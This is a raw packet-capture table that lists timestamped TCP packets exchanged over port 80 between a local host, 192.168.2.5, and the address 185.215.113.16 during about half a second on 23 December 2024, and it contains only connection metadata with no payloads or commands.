Dec 23, 2024 08:23:40.554373980 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.554444075 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.555022955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.555067062 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.555074930 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.555088043 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.555131912 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.555272102 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.555866003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.555891991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.555903912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.555915117 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.555943012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.556180000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.609153986 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.677027941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.677041054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.677053928 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.677119970 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.677192926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.677306890 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.677385092 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.677406073 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.677458048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.677467108 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.677685022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.677728891 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.677741051 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.677768946 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.677794933 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.677949905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.678467035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.678508043 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.678519011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.678531885 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.678579092 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.678704023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.679264069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.679296017 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.679306030 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.679307938 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.679363012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.679490089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.680099010 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.680110931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.680124044 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.680143118 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.680160999 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.680320024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.680883884 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.680896044 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.680907965 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.680943012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.681066036 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.681653976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.681694031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.681706905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.681720018 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.681751966 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.681822062 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.682413101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.682435036 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.682446957 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.682480097 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.682498932 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.682604074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.683206081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.683249950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.683262110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.683273077 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.683295012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.683470011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.684010983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.684041977 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.684055090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.684084892 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.684103012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.684197903 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.684812069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.684824944 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.684838057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.684859037 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.684875965 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.801333904 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.801345110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.801357031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.801397085 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.801636934 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.801646948 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.801681042 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.801685095 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.801692009 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.801713943 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.801912069 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.801949978 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.802437067 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.802479029 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.802489996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.802520990 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.802923918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.802934885 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.802947998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.802973032 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.802999020 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.803121090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.803744078 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.803755999 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.803767920 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.803858042 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.803997993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.804483891 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.804521084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.804533005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.804595947 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.804912090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.805320024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.805330992 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.805342913 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.805485010 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.805500984 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.806246996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.806262016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.806272984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.806284904 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.806348085 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.807063103 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.807075024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.807086945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.807243109 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.807245970 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.807697058 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.807708025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.807720900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.807768106 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.808011055 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.808466911 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.808507919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.808520079 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.808634043 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.809237957 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.809298038 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.809340954 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.809461117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.809472084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.809484005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.809617043 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.810065031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.810077906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.810091019 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.810102940 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.810131073 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.810307980 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.810837030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.810847998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.810861111 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.810909033 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.811224937 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.811635017 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.811646938 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.811660051 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.811757088 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.811788082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.812489986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.812501907 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.812525034 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.812537909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.812551022 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.812577009 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.813205957 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.813379049 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.813390970 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.813405991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.813491106 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.859286070 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.869107962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.869163036 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.869175911 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.869262934 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.869287968 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.869338989 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.869513035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.869524002 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.869537115 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.869561911 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.869981050 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.870018959 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.870049000 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.870060921 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.870099068 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.870181084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.870718002 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.870758057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.870759964 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.870770931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.870810032 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.870901108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.871535063 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.871546984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.871558905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.871581078 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.871599913 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.871686935 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.872328997 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.872340918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.872353077 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.872370005 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.872390032 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.872459888 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.873039961 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.873083115 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.925467014 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.925479889 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.925489902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.925609112 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.925791025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.925843954 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.925843954 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.925854921 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.925890923 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.926207066 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.926464081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.926481962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.926495075 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.926508904 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.926534891 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.926621914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.927258968 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.927272081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.927303076 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.927676916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.927689075 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.927701950 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.927721977 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.927738905 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.927819014 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.928438902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.928451061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.928462982 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.928478956 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.928503990 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.993360996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.993372917 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.993478060 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.993529081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.993571997 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.993602991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.993614912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.993648052 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.993670940 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.994307041 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.994441032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.994452953 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.994482040 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.994544029 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.994586945 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.995179892 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.995192051 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.995204926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.995223999 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.995357990 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.995402098 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.995876074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.995888948 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.995920897 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.996047020 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.996057987 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.996093988 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.996741056 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.996753931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.996764898 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.996794939 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.996877909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.996922016 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.997467041 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.997478962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.997490883 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.997520924 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.997685909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.997786045 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.998229027 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.998289108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.998300076 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.998331070 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.998430967 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.998466969 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.999006033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.999018908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.999058962 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.999126911 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.999138117 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.999176979 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.999887943 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.999900103 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.999913931 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.999938011 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.999995947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.000039101 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.000575066 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.000653982 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.000664949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.000824928 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.000853062 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.000878096 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.001367092 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.001435041 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.001446962 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.001480103 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.001579046 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.001621008 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.002204895 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.002214909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.002228022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.002254009 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.002432108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.002474070 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.002980947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.003029108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.003041029 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.003071070 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.003189087 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.003230095 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.003766060 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.003791094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.003802061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.003868103 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.003920078 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.003962040 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.004522085 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.004597902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.004610062 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.004641056 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.004728079 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.004771948 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.005384922 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.005445957 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.005456924 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.005469084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:41.005482912 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.005507946 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:41.006191969 CET	80	49731	185.215.113.16	192.168.2.5
